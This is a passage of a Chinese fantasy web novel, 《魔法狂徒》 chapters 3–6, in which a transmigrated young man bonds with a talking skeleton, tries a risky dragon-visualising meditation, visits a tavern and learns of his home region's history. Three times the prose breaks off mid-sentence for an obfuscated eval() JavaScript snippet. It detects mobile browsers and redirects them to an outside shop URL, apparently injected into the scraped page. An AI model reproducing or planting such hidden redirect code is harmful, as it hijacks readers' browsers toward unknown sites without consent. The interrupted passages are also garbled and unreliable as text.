《魔法狂徒》 3. 魔法与炼金术士 值得庆幸的是,那声音忘记了许多东西,但还记得自己的名字。骷髅就是他的本体,他叫做“本”,是伟大死灵法师阁下忠诚的扈从。 松塔看似破旧,实则暗藏玄机。查理之死唤醒了沉睡的本,本耗尽一半的灵魂之火唤来松鼠,用松果砸醒了查理,但也因此消耗过大,于是缓了好几天,才在今夜现身。 至于本为何会呈现出如今这七零八落的样子,那就是另一个连他自己也记不太清的故事了。 总之,他的头颅藏于烟囱,身体的其余部位散落在松塔的各个位置,在外面敲门的,就是在楼道里充当壁灯装饰物的右手。 纪白打开门,看到那只骷髅手,又若有所思地抬头望向楼上。 “你说,你的主人还是一个炼金术士?”他回头看向本。 “是啊,四楼和五楼就是他的书房和炼金实验室,我的大部分身体都在上面。”骷髅头说话并不需要张嘴,只要他的骨头存在的地方,就能发出声音。但脱去了神秘的外衣,阴暗与恐怖之感已荡然无存。 本还是一个善良的本,骷髅架子空荡荡的,着实没什么心眼。又或许是沉睡太久了,终于有个人能跟他说说话,他几乎知无不言。 当然,前提是他还记得。 纪白听着他的话,突然给自己找到了成为一个死灵法师和第三章屠龙之外的第三个选项,那就是——当一个炼金术士。 那么问题来了。 “炼金术需要用到魔法吗?”他问。 “我想一想……”本沉默片刻,回答道:“主人好像说过,魔法师不一定都是炼金术士,但炼金术士一定是魔法师,无论他的魔法水平有多差劲。” 一个不出预料的答案。 不过即便如此,查理认为自己的当务之急,还是打开通往四楼的门。因为除了五楼的炼金实验室,四楼还是书房,里面可能会有正儿八经的魔法书籍。 “你有四楼的钥匙吗?” “四楼不需要钥匙。” “那为什么我打不开?” “因为你不会魔法啊。” 纪白后知后觉,这是一座法师塔。而本毫无嘲讽之意的天然的语气,就是对他现状最好的嘲讽。 他想要一只鸡,本说你得先有个蛋。 鸡从哪儿来,蛋孵的。 蛋从哪儿来,鸡下的。 那有没有投机取巧的办法? “你的一部分身体在里面,能帮我开门吗?本。” “不能的,因为我也不会魔法。” 哦天呐,一具会说话的会动的骷髅说他不会魔法。纪白如是想。 而那厢,善良又诚实的本又想起了一点东西,欣喜地告诉纪白:他记得开门的咒语怎么念,只需要他是一个最最普通的魔法学徒就可以了。 包会的! 纪白感动之余,把骷髅头抱起来,往骷髅手里一放,物归原主,“谢谢你。” 本也很感动,这个人类终于接收到自己对他的善意了。他憋了好多好多话想跟他说,看到纪白转身往前走,急忙问:“你去哪儿?” “回房休息。”纪白累了。 这几天他根本没休息好,再加上这具身体刚经历过酗酒致死的事情,和本拉锯的这段时间里,精神又高度紧绷,这会儿骤然松懈下来,浑身上下可以说一点力气都没有,大脑还隐隐作痛。 成为魔法师什么的,还是明天再说吧。 只是纪白刚洗漱完躺到床上,熟悉的声音再度响起,“你真的不考虑成为一个伟大的死灵法师吗?主人说了,烧过的灵魂,更纯洁呢。” 纪白沉默下床,地毯式搜索,最终在衣柜里找到了伪装成挂衣杆的一根骨头。他把骨头取下来,开门,扔出去。 “哒、哒、哒……” 骨头顺着楼道里的石阶滚落。 纪白关门。 盖上被子,安详闭目。 他的脑子其实很乱,原以为会像前几天那样,继续陷入那种身体和精神都很累,但怎么也睡不着的状态,谁知一会儿就陷入了梦乡。 梦里的一切都很光怪陆离,他似乎又回到了原来的世界。在大学的图书馆里,他坐在窗边,看着外面斑驳的树影,和透过树叶的缝隙投射而来的阳光,他下意识地伸手遮挡。 细碎的光在指缝间闪耀。 下一瞬,那些光又变成了星星点点的在空中游弋的魔法元素。周围的景色开始变幻,像吃了菌子致幻后看见的场景,梦幻、迷离。 那是一种很奇妙的感觉,有些失重,有些晕乎,但又在某一刻好像掉进温水里,感受到宁静和温暖。 渐渐的,他的思绪越来越沉、越来越沉…… “啪。” 纪白缓缓睁开眼,略显失神地看着头顶的水晶吊灯,手下意识地摸上额头。难得睡了个长久的好觉的感觉,让他的身体发出了悠然的喟叹,连心跳都平稳多了。 只是他还有个疑问——谁又砸我? 一缕风吹过他的耳畔,他转过头,看向半开的窗户,跟一只红棕色的松鼠对上了眼。 松鼠瞪着圆溜溜的小眼睛,骤然被抓包,两只耳朵都竖了起来。下一瞬,它吱吱怪叫一声,丢掉松果,转身就跑。 纪白从床上坐起,找到掉落在枕边的松果,沉默。大早上的,他的脑子有点转不过来了,为什么又拿松果砸他? 难道在他不知道的时候,他已经又死了一回了? “本?”纪白呼唤了一声,意料之中的,得到了来自本的回应,“我在。” 我就知道,你肯定还有骨头藏在我房里。 “这是怎么回事?松鼠为什么又来了?”纪白问。 “我也不知道……”本讪笑,声音逐渐发虚。直到纪白找到了藏在床底的另一根骨头,他才老实交代。 他操控松鼠扔松果这件事,相当于给松鼠下达了一个灵魂指令。松鼠本身并没有开智,它只是遵循指令,在重复这个行为。 这些天松鼠没来打扰,只是因为窗户关得紧实,而本消耗太大,已经没有多余的力量抹去这个指令了。 “也就是说,以后它只要看见我,发现我闭眼躺着,就会拿松果砸我,是吗?”纪白揉着被砸到的地方,问。 “啊哈哈哈哈……”本又撒下一串银铃般的笑声,以掩饰自己的尴尬。 纪白无可奈何,谁让他是一个连魔法都不会的麻瓜呢? 他走到窗边,仔细检查了一下窗户,发现是窗户上的插销松了,只要修一下便好。他开口问本工具放在哪里,谁知没有得到回答。 “阿耶……”本似乎看到了梳妆台上放着的那本书,喃喃自语,“阿耶,我好像记得这个名字。” 纪白心念微动,“你认识?” “阿耶大坏蛋!”本突然应激,声音都高了一个八度,“他每次到这里来,都要捉弄我,他说我是小骷髅架子,骗我埋地里能长高,还要拿七彩花给我染头!你怎么会有他写的书!” 纪白瞬间有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560435|142676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了思量,道:“这是我买的魔法书籍,打算照着书上自学,成为一个魔法学徒。” 本:“不许!不许!” 他这么说,纪白反而更心动。 “你说这位叫做阿耶的人来过松塔?他是你主人的朋友?也是正儿八经的魔法师?”纪白追问。 “反正不许!不许!就是不许!”本不知又想起什么,自己给自己气着了,那根骨头在桌上疯狂弹跳。 下一秒,纪白一句话,又让骨头刹那间僵住。 “可你甚至连主人是谁都忘了,却还记得他的名字。他其实很厉害,对吗?你说他每次到这里来,说明他来过很多次,他跟你主人的关系很好?” 沉默,沉默,还是沉默。 沉默,是此刻的松塔。 良久,骨头默默地从桌上滚下去,滚过纪白脚边,一路滚进床底,停下,不动。 他好像要碎了。 纪白则看着那本书,脑海里想起一句话:山重水复疑无路,柳暗花明又一村。 查理的天赋能恢复到多少还未可知,结果或许很不理想。这本书看着不靠谱,狂妄、荒唐,但或许正适合他,那为什么不试一试呢? 换句话说,死马当活马医。已经死过一回的纪白,可谓无所畏惧。 不过在正式开始学习之前,他得让自己先保持一个好状态。 纪白先去洗漱,换上查理惯常穿的白色棉质衬衣和棕色长裤,系上皮革腰带,再用亚麻的头绳将头发绑起。虽然才穿来几天,但这套动作他已然熟练。 早餐可以吃得简单一点,牛奶煮一些麦片,放入蜂蜜,做成牛奶蜂蜜麦粥。再煎一片培根和荷包蛋,用昨天剩下的白面包片和蔬菜,做一个三明治。简简单单,健康长寿。 骷髅头和他的右手还在厨房里,看着纪白有条不紊地忙碌,终于还是忍不住开口:“他虽然很厉害,但他是一个狂妄的疯子,他的方法不适合绝大多数人,你跟他学,很危险。” 纪白并不怀疑本的善意,只是专注地做着手里的事情,头也不抬地回答道:“对我来说,在这个世界上的每一步,都很危险。” 本听不太明白。 纪白做好早餐,将餐盘端到餐桌上,看着对面的骷髅头,礼貌询问:“要来点吗?” “我不需要吃饭。” “那太遗憾了。” 纪白拿起银制的汤勺舀了一口麦粥,香甜的味道让他弯了弯嘴角,转而拿起刀叉切了一块三明治。 嗯,味道也不错。 本觉得他真奇怪。 明明说着危险,但还有心情吃饭。看着看着,本都有些馋了,竟开始思索起食物的味道来。可惜,他已经不记得了。 奇怪的人吃完早餐,又去看那本万恶的书。 《魔法指南》 第一章:一百天成为魔法师。 第一章的第一页,是最基础的冥想之法。 拥有魔法天赋的人,集中精神时、或是睡梦之中,都能隐约感知到魔法元素的存在。但想要真正让这些魔法元素在自己手中凝聚成魔法,为自己所用,还需要学会冥想。 冥想,是通往神秘世界的桥梁。 纪白深吸一口气,郑重地做了决定。 穿越异世,接受一个全新的身份,那是以前的纪白从未想过,也无法在短时间内轻易接受的事情。但他知道,一旦踏上这条魔法师之路,就没有回头路了。 从今天开始,他就是查理·布莱兹。 4.冥想 阿耶的冥想法分为内、外两个篇章。 对外,感知宇宙。 书上说,宇宙由四元素组成,分别是土、气、水、火,这四种元素互相演变,构成万物。 对内,自察自身。 四元素与人体内部的器官相对应,土对应脾,气对应肝,水对应肺,胆对应火。若宇宙由四元素组成,人亦然。 二者结合,人即宇宙,我即主宰。 具体的冥想方式很简单,因为是一百天魔法师速成,所以没有任何先内而外,或是先外而内的循序渐进的过程,直接硬上。 过程分三步走。 第一步,闭上眼,忘记自己的存在,让“我”与“宇宙”达到重合统一。 第二步,展开想象的风暴,让这统一的宇宙间的魔法元素,随着你的想象飞舞,组成龙的形状。 第三步,将龙击溃,杀死它。 查理神色未变,继续看向下一页,只见上面写着—— 先杀一百遍。 恭喜你,魔法入门了。 很好,不愧是三章屠龙的人。 查理缓缓抬起头来,转身看向依旧在床底下自闭的本的骨头,问:“这位阿耶阁下,跟龙有仇吗?” 骨头动了一下,半晌,才回答道:“我也不知道,我忘了。” 这话的语气里带着点儿赌气的成分,查理也不追问,等了片刻,本果然又忍不住开口,“我早就说过了,他是个狂妄的疯子。虽然我不会魔法,可我听主人说过,元素感知力又叫做元素亲和力,是让你们做朋友,不是变成龙打死。” 查理若有所思。 感知元素,与元素亲近,成为彼此亲密无间的存在,这应该是正统的魔法路子。阿耶主打的是征服,以强势的姿态让魔法元素为自己所用,确实要疯狂一些。 “会反噬吗?”查理问。 本又不知道了,但他想了想,压低了嗓音,用可怖的、听起来像是喉咙里漏风的声音再次警告他,“反正,这肯定是一本邪典,邪典!” 邪典也好,魔典也罢,查理一旦决定什么事情,那就是十头牛都拉不回来的。他从小就这样。 这几天以来,他偶尔能感知到魔法元素的存在,到今天,也该试着跨出这一步了。 思及此,他不再多言,平稳呼吸,调整好状态,在地板上盘腿坐好,开始尝试冥想。 虽然阿耶写得并不详尽,但在查理看来,四元素学说与五行学说看起来有异曲同工之妙,并不难理解。难点在于,要怎么忘记自己的存在,让“我”与“宇宙”达到重合统一。 这似乎是一件玄而又悬的事情。 闭上了眼,查理的世界一片漆黑。 在过去的几天里,他对元素的感知都是被动的,大多出现在睡梦中。这还是他第一次主动去感知魔法元素的存在,它在哪儿? 对了,要先忘记自己的存在。 可我的存在即我自己本身,我要怎么忘记我自己呢?用更熟悉的词来解释,或许,这种状态应该叫做“物我两忘”。 查理自认为没有这么超然的心态,这世界上的所有事情,不都是越想要,越得不到么?他用心看出去,世界漆黑如墨,只是空荡荡的,哪有什么魔法元素的身影。 良久,查理睁开眼,垂眸看着自己空荡荡的手,陷入沉思。 不,方法不对。 阿耶剑走偏锋,他的方法不适合绝大多数人,那为何自己要跟着他走?说到底,自己并不是这个世界的灵魂。 自己虽然接受了原主的记忆,但更像是以一个上帝视角,看完了他人生的走马灯。他躲在窗后看着外面的信徒吵吵闹闹,看着骑士长剑镀上月辉,看着喧闹平息。来自异乡的灵魂窥探着一切,他可以是超然的,在这个局中,又不在局中。 这个世界于他而言,可以是一场流星落下的幻梦、可以是一个被载入的游戏。他可以清醒地跳脱于世界之外,去看待这个世界。 查理又重新闭上眼。 这个世界真实存在吗? 这是异乡的灵魂对这个世界的初次叩问。 如果世界真实存在,那么世界的本质是什么? 回答我。 回应我。 回答我。 一片漆黑的广袤宇宙中,一声声叩问就像水波扩散,一圈又一圈,传向更深的宇宙深处,绵延不绝。 渐渐的,他的眼前,终于出现了一个隐约的光点。 刚开始还不太明显,但随着时间流逝,光点越来越亮,越来越多,属于不同元素的不同光点,也呈现出不同的颜色。 世界开始染上缤纷色彩。 下一步,是想象的风暴。 龙?西方的龙是什么样的? 属于世界之外的灵魂在发挥想象,在想象的世界里,没有什么不可能,也就不拘泥于任何形式。他好像慵懒地坐着,托着腮在思考,然后在某个瞬间,抬起手,在无垠的宇宙中画下一笔。 啊,不好意思手抖了。 重来。 他是个美术生,对美有独特的追求,遂重新画下一笔。可那线条仍然歪歪扭扭,或者说,是光点排列得并不整齐。 像笨拙的新兵,甚至分不清左右手。 他并不满意,微微蹙眉,这想象的世界里便掀起一阵风暴。 所有光点都在风暴中被吹散,刹那间,整个世界开始分崩离析,而查理本人,也在闷哼声中睁开眼。 光亮重新回归到他的眼眸,他好像瞬间从真空中回到了常态,大口大口地呼吸,这才让自己怦怦乱跳的心趋于平稳。 抬手抹了抹嘴角,还好,没血。 这就是冥想吗? 查理隐约觉得自己的冥想或许与别人的,甚至与阿耶的都不一样,但他确实看见了魔法元素,也确实引导了它们。 这初次冥想,算……成功了吧? 就在查理思索的时候,本的骨头已经急急忙忙从床底下滚了出来。他早告诉查理,那是本邪典,不要跟着练了,他偏不听。 看看,他的脸都快比自己的骨头还要白了! “你没事吧?”本担忧地问。 “没事。”查理是真的觉得这一切尚在接受范围之内,比小时候出车祸、或者从楼梯上滚下去的时候要好一些,脑子确实有点晕乎,掌心和后背确实出了点冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565993|142676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汗,但他心里早有准备。 本万分不解,“你还要试吗?” 查理转过头,那双淡绿色的眼眸仿佛带着天生的忧郁,可在此刻,所有情绪都沉淀了下来,是冷的,却又带着让人无法忽视的光亮。他问:“为什么不试?” 本卡壳了。 查理忽然笑了笑,捡起骨头,抬手拂去上面的灰尘。再把一块毯子叠好放在旁边,将它放在叠好的毯子上,说:“如果我死了,伟大的死灵法师的扈从阁下,可以再救我一次吗?等到松果堆满我的尸体,或许我会再次醒来。” 本坐上了垫子,骨头暖暖的。 他一点都不希望查理死,这个人会给他擦骨头,还给他垫垫子,还会跟他说话,怎么能轻易死掉,于是又忍不住开口建议,“那不变龙了好不好?” “那变什么?” “变、变一只松鼠?龙好可怕,你打不过的。巨大的恶龙,喷吐出烈焰,可以把整个村庄都烧成灰烬,无人幸免。” 查理却摇头,“在想象的世界中,一只恶龙和一只松鼠,没有两样。况且……” 接下来的话,查理没有说出来。在他心中,龙是图腾,是象征,他画过许多的龙,美丽、强大、威风凛凛,简直是完美的造物。 异世界的龙?杀一百遍就杀一百遍。 当然,对现在的查理来说,他能感知到魔法元素的存在,画出几笔不像样的线条就已经是极限了。他需要不断地尝试,不断地训练。 一百天速成魔法师……他需要几天? 查理从中觉出一丝趣味来,毫不犹豫地继续冥想。 他的动作太快,本都来不及阻止。好在查理的第二次冥想并未持续多久,他这次很容易就感知到了魔法元素,但依旧败在第一笔上。 归根结底,他能感应到的魔法元素的数量很少,而且想象的风暴一旦刮起来,他就会被迅速弹出冥想的状态,更别说杀龙了。 这是没办法的事情,他是初学者,而查理的天赋恢复得太慢了,这么一点点元素感知,只是比普通人要好上一些。 “呼……”查理做了个深呼吸,却没停下来休息。 他要试试自己的极限在哪里。 本就这么看着他一次又一次地尝试,脸色越来越苍白,既担心又惊奇。 这真是个怪人,像阿耶的怪人,但是个好怪人。不,也不对,本迷糊了,找不到合适的词来表达,而就在这时,松鼠又出现了。 从窗外的松树枝桠上路过的松鼠,瞪着一双豆豆眼,不可置信地看着窗内的情形。人类,又闭眼了,脸,死白死白! “吱!吱吱!”松鼠发出了怪叫,上蹿下跳。 本心里一惊,想要出声,可又怕干扰到查理。正着急呢,就看到松鼠呲溜一声跑了,他暗自松了口气。 可半分钟后…… 松鼠抱着松果回来了,从还没修好的窗户里挤进来,双手高高举起松果,用力往前扔,“咻——” 千钧一发之际,本的骨头从毯子上弹射而起,将松果在半道拦截。 “啪!” 松果被打了回去,撞上窗户。 窗玻璃碎了。 5.橡树酒馆 从冥想中苏醒,哦不,应该说是从极限冥想之后的昏迷中苏醒的查理,看着地上的碎玻璃,陷入迷茫。 他抬手扶额,依稀记得自己止步于第五次冥想,而后就什么都不知道了。 在这五次里,他没有一次能真正把魔法元素幻化成巨龙的模样,哪怕是简笔画的,但至少他测出了自己的极限在哪里。 这种开始一点点重新掌控自己命运的感觉,也刺激着他的感官,让他的灵魂感到了一丝兴奋和战栗。 可谁能告诉他,窗玻璃怎么碎了?龙又不住在玻璃上。 松鼠早已畏罪潜逃,而本的骨头咕噜噜滚回了床底下,继续自闭,怎么也不可能告诉他,自己刚刚在这里跟一只松鼠打乒乓球的事实。 “本?”查理摸到身上盖着的毯子,心念微动,转头看向床底。 本又滚远了点,并企图从床的另一边滚出去逃跑。 查理看向另一侧,发现了掉落在地的松果,还有什么不明白的。他失笑,倒也没有生气,把身上的毯子收起,看了眼窗外,发现已经快要日落了。 “这么晚了吗……”他喃喃念叨着。 现在的首要任务是——修窗户。 家里没有玻璃,查理得去一街之外的比格工坊买一块新的。至于找人来修这个选项他暂时不考虑,目前来说,他还不想贸然让外人进入松塔。 倒春寒还未结束,查理披上了一件黑色天鹅绒长袍,靠近肩头的位置还有一枚花纹肩扣,纯金的。这是原主从养父家里带出来的,低调奢华,也是他衣柜里最贵的一件衣服。 披上外袍的查理,更像个贵族小少爷了。但他不是想靠一件衣服充门面,而是因为,确实没别的衣服穿了。 想要去比格工坊,查理就得路过以美味的蜂蜜面包闻名的莉莉屋,和三教九流混杂的橡树酒馆。 如此,晚餐也有了着落,今天的查理暂时不想做饭。 比格工坊提供送货□□,查理一进一出,很快就搞定了,回程的路上就顺道去了橡树酒馆。 正值饭点,橡树酒馆里正是热闹的时候。酒馆老板花重金求购的魔法灯组将酒馆的里里外外都照得亮堂堂的,招牌上的那颗橡树果子,更是隔着老远就能看见。 酒馆和莉莉屋都是原主经常光顾的地方,他把所有的精力都用来求学,自然不会浪费在生活琐事上。 因此,酒馆里的人看到查理都见怪不怪。只有经常接了赏金任务出城去的佣兵们,还没来得及听说他的大名,骤然看到一个陌生面孔,挑眉吹起了口哨。 “哪里来的贵族小少爷?不是走错了吧。” “你不知道么?” “什么?” “灰帽街的魔法师阁下,妄想家小查理啊,哈哈哈……” …… 细碎的议论声响起,有揶揄、有调侃、有嘲讽,熟悉的剧情反复上演,有人觉得新鲜,也有人觉得腻烦。 酒馆里负责端盘子的是老板的小儿子,那铁公鸡永远不会放过地上的一粒谷子,也不会放过任何一个劳动力。那个跟他一样有着大鼻子的小儿子米什莱,绑着红色的头巾,重重地把酒放在其中一张桌子上,嘴里埋汰道:“你就喝吧,喝酒还堵不上你的嘴。这回去黑森林,又偷了几根针啊?” 偷针的笑话永不过时。 自大的佣兵们喝了酒之后总是口若悬河,牛皮从玛吉波城一路吹到东边的黑森林,遮天蔽日。但你要问他们收获如何?不过是在那赫赫有名的黑森林外围试探过几个脚印,被那棘刺豪猪赏了几根刺罢了。 回到玛吉波城把刺卖给杂货商人或者工坊,所换的酒钱才将将够买一瓶希波酒。 “你懂什么?我这回可是掏着了好东西,否则怎么这么久才回来!” “哈哈哈哈真有好东西?那还不拿出来看看?” 开玩笑的、凑热闹的,又都开始起哄。酒气混杂着香料的味道,挥发在空气中,鼓动着每一颗躁动的、放浪的心,将气氛推至高潮。 查理拢了拢长袍,不是很适应这嘈杂的环境,但他并不讨厌。酒馆里的故事需要酒馆里的酒来配,他喝不惯希波酒,但自有人欣赏。 而故事本身,从不分高低贵贱。 米什莱转过身,朝他招招手,“今天吃什么?” 原主以前的食谱是真的单调,堪称鸡的克星,查理来了之火,就开始尝试做出小小的改变,“一份鹿肉馅饼、一份烤鳗鱼,一碗香草蘑菇汤。” “那你今天有口福了,鳗鱼是午间刚送来的,新鲜着呢。”米什莱忙活不停,跟查理说话的功夫,还能顺手擦个桌,再回头问:“要来点儿酒吗?” 查理摇头,“不了,前几天刚喝多,头还疼。” 米什莱看了眼他略显苍白的脸色,也不多劝,来了酒馆不喝酒只填肚子的奇葩,查理是一个,但不是唯一一个。他随手指了指角落里的空位,就自顾自忙去了。 查理坐下,等到晚餐上桌,听着满酒馆的故事,倒也自得其乐。 他发现自己的胃口变大了,不知道是因为冥想消耗太大,还是因为错过了午饭。正出神的想着,身侧忽然响起惊讶的声音。 “布莱兹先生?” 查理一时间都没反应过来,那是自己的姓式。后知后觉偏过头,就看到一个熟悉又陌生的中年男人站在旁边。 糟糕,这个人是谁来着?查理不动声色地冲他点点头,随即飞快地开始翻找原主的记忆。 好在那人并没有察觉出什么,见查理点头,便迫不及待地打开了话匣子,“真的是您,隔着老远我还以为看错了,但看这件袍子,应该没错,我送您来的那天,您就穿着它呢。” 您?查理注意到这个称呼,终于从记忆中找到了答案。 这是飞马商队的马车夫,查理从遥远的南都郡离开时,曾付钱搭乘商队的便车前往玛吉波城。对于一个普普通通赚辛苦钱的马车夫而言,当时的查理哪怕已经离开了勋爵庄园,但依旧是他高攀不起的人物。 他可能也是如今的玛吉波城里,少有的还会恭敬地喊他“布莱兹先生”的人了。 从前的查理并不是一个擅长交际的人,他自小生活在勋爵庄园里,见到外人的机会不多。又因为金发碧眼的外貌与其他养子区分开来,没有什么知心的朋友。 在众人眼里,那双眼睛赋予了他天生的忧郁,但其实查理的内心从来没什么不满,也始终心怀感恩。他不会仗着养子身份去欺负别人,当然,自己被欺负了,往往也是隐忍。 “好久不见,山姆大叔。”查理模仿着从前的样子,生疏但礼貌地同他打招呼。 对于查理还记得他名字这件事,山姆很高兴,“好久不见,布莱兹先生,没想到还能在这里见到您。” 闻言,查理心念微动,招手唤来米什莱,请他添了两个菜并一扎麦酒,请山姆坐下。 山姆推辞,查理便微微垂下眼眸,说:“我离开南都郡很久了,不知道那里是不是一切安好……” “请不要担心,布莱兹先生,勋爵阁下正在为六月的仲夏日做准备呢,镇上热闹得很,佣兵们都来了好几拨了,听说要大办一场。” “阿尔芒少爷据说也会在六月归来,算一算,他和您一样,离开南都郡都已经很久了。还有您的那些义兄弟们……” 听着山姆的讲述,查理已经在心里思量开了。 他在二月底,大地刚开始化冻的时候离开南都郡,路上花了些时间,在早春的三月抵达了玛吉波城。一个月过去,现在是四月二十二,距离六月也就剩一个多月的时间。 阿尔芒是柳利勋爵的亲生儿子,几乎与查理同时离开南都郡。 离开的那一天,查理站在三岔路口的草垛旁,看着他的车队一路往东。他的去向不是秘密,往东渡过苍伽河,抵达透明的海,在银月的城堡接受古老的传承。 说起传承,就不得不提到托托兰多大陆的历史了。 曾经的托托兰多,是光明与黑暗的天下。两大主神主宰着这片土地, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575776|142676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另有诸神林立,异族盘踞。在当时的托托兰多,人类并不如现在这般强大,龙族之怒、精灵之高,都足以让人心惊胆战。 你说魔法? 当时的魔法,被称为神术。它掌握在教廷的手中,凡私自修习者,统统按异端论处。而在教廷的口中,异端使用的神术,叫做——巫术。 教宗高举着权杖,向上聆听神谕,向下统御万民。国王亦在教宗的阴影下谄媚发笑,更何况平民? 戴着镣铐的奴隶们永远死在无尽黑暗的梦里,熬不过一个又一个寒冷的冬夜,直到—— 高天之上传来巨响。 属于神灵的金色血液如雨落下,在大地上砸出满目疮痍。 托托兰多乱了,大陆战争全面爆发。 这场各族之间的混战,起因已不可考。又或许是因为查理本身知道的太少,在他的记忆里,他从小听到的故事,便是人类勇士趁此机会,揭竿而起,推翻了教廷。 教宗死了,神殿塌了,旧神陨落,各族势力重新洗牌。 巨龙拥有悠久的寿命,但随着最强战力的死亡,开始休养生息,几百年对它们而言,不过弹指一瞬。精灵族的母树出了问题,也开始了漫长的复苏计划。 当这两大强族都开始休养生息,人类便开始如野草般疯长。 人类中的优胜者,康那里惟士家族,打下了大陆中部最繁华、广袤的区域,创立了嘉兰帝国。中部旧主被赶到寒冷的北方,而其余各国,也以嘉兰为尊。 神术,不再被冠以“神”之名,而变成了属于“人”的魔法。 强大的魔法师们不愿再受权利桎梏,于是联合起来,组建了大陆最高魔法议会,开启了魔法文明的序幕。 查理穿越过来之后,曾惊讶地发现托托兰多已经废除了奴隶制度。仔细翻阅原主的记忆,才发现大陆最高魔法议会的创始人之一,那位被誉为“命运先知”的传奇魔法师,正是奴隶出身。 她上位之后第一件事,就是废除奴隶制。 与这位奴隶出身的命运先知不同的是,最早的神术、亦或是巫术,亦有传承留下。这些人几乎都是贵族出身,因其显赫的家室和庞大的财力,才得以让那些神秘的巫术代代相传,直至魔法时代的来临。 托托兰多如今公认的古老传承一共有五个,柳利勋爵其实跟它们搭不上边,但他娶了一个姓赫尔蒙特的妻子。 他的妻子身上留着高贵的巫师血脉,于是这份殊荣,传到了他儿子阿尔芒的头上。 当时的查理只是羡慕,但现如今…… 魔咒的存在已经浮出水面,被掠夺的天赋究竟去了哪儿呢? 查理有种直觉,等到仲夏来临,或许还会发生点什么。不,或许更早。他感到一丝紧迫,仿佛有一双无形的命运之手在背后推着他,但表面上仍不动声色,让人看着,以为他还在缅怀过去。 山姆便忍不住又多说了几句,还问查理,是否有信需要寄回去,他可以代送。查理摇摇头,只说自己还没有成为魔法师,不想让大家失望,便拒绝了。 满屋的酒鬼,不知又是谁,嗤笑了一声。 山姆挠了挠头,有些疑惑,但他在玛吉波城来去匆匆,不是橡树酒馆的常客,也没有目睹刚才那一幕,所以压根不知道前因后果。 查理也没有什么特别的表示,继续聊了会儿南都郡往事,浅浅地喝了几口麦酒,便带着微醺的醉意,跟山姆道别,结账离开。 只是当查理推开酒馆的门,门口铃铛发出清脆声响的时候,一阵哐当倒地的声音骤然响起。 前一秒还举着酒杯高谈阔论的人,下一秒就狼狈地滑倒在地,还带翻了几张桌椅,杯中的酒没进肚子,全倒在了自己头上。 酒水滴滴答答落下,他看到鞋底不知何时踩到的豌豆粒,气急败坏地红着脸咒骂,换来满屋哄笑。 查理觉得那人红着脸的样子很可爱,明亮的魔法灯光下,他的嘴角微微弯起,似在无声地表达着他对这出酒馆剧目的喜爱与赞赏。 6.开门的咒语 其后几天,查理除了采购必要的生活物资,在邻居们面前刷个脸,其余时间专心冥想。 本总是忧心忡忡,担心他什么时候又厥过去了。就连住在松塔外的松鼠阁下,抱着松果路过查理窗前的频率都高了不少。 可惜窗户已经被查理修好,本和松鼠暂时打不了松果乒乓。 不知不觉间,六天过去了。 查理从冥想到极限后总会昏迷,面色惨白,到后来白着白着也就习惯了。 本问他:如果你醒不过来了,也没法救第二次,我可不可以用灵魂之火把你烧掉,变成跟自己一样的骷髅,继续相依为命。 查理很感动,但还是拒绝了。 到了第六天,查理终于能够用自己感知到的那些少得可怜的魔法元素,幻化成龙时,他长舒一口气—— 如果那团只有大致的轮廓的不明物体能够被称为龙的话。 本与世隔绝多年,不懂现在魔法师的判定标准,但查理从原主的记忆里扒拉出了相关信息。 按照大陆最高魔法议会在去年底颁布的最新规定,凡是能够学会并熟练使用三个及三个以上魔法的,可授予魔法学徒称号。 至于天赋,查理目前能感知到的魔法元素数量在300左右,能点亮水晶球,但想要达到魔法学院的入学标准,大约还差700。 也就是说,入学标准在1000。这个数字只是个大概的数字,因为没有人会冒着看瞎眼的风险去一个个数,而每次感知到的魔法元素数量,本身也是不恒定的,根据时间、所处地界的不同,上下有数量较少的误差。 查理知道自己还很弱,据说一个禁咒就要调动数以百万计的魔法元素,300的数值只够人家打个喷嚏。 可他的短期目标,就只是开门而已。 “本,把开门的咒语告诉我吧,我想试一试。”300究竟够不够,试了才知道。如果说之前的冥想是硬上,那查理现在也可以硬试。 应试教育培养出来的人才,怎么不能硬试了? 正好查理的行李箱里就有一根现成的魔杖,这是原主在初入玛吉波城时,满怀着对未来的美好希冀,在城门口买的。 查理觉得他被骗了,堂堂魔法圣都,怎么会在城门口卖魔杖,又不是卖纪念品。但不管这根魔杖是什么材质的,价值几何,至少它是一根魔杖。 用来施展一个小小的开门咒语,应该够了吧? 本总是会被他的大胆和无畏震惊,什么对魔法和生命应有的敬畏,他统统没有。但在本看来,开锁只需要一个小小的咒语,根本不算什么事儿,因此没多犹豫就告诉了查理。 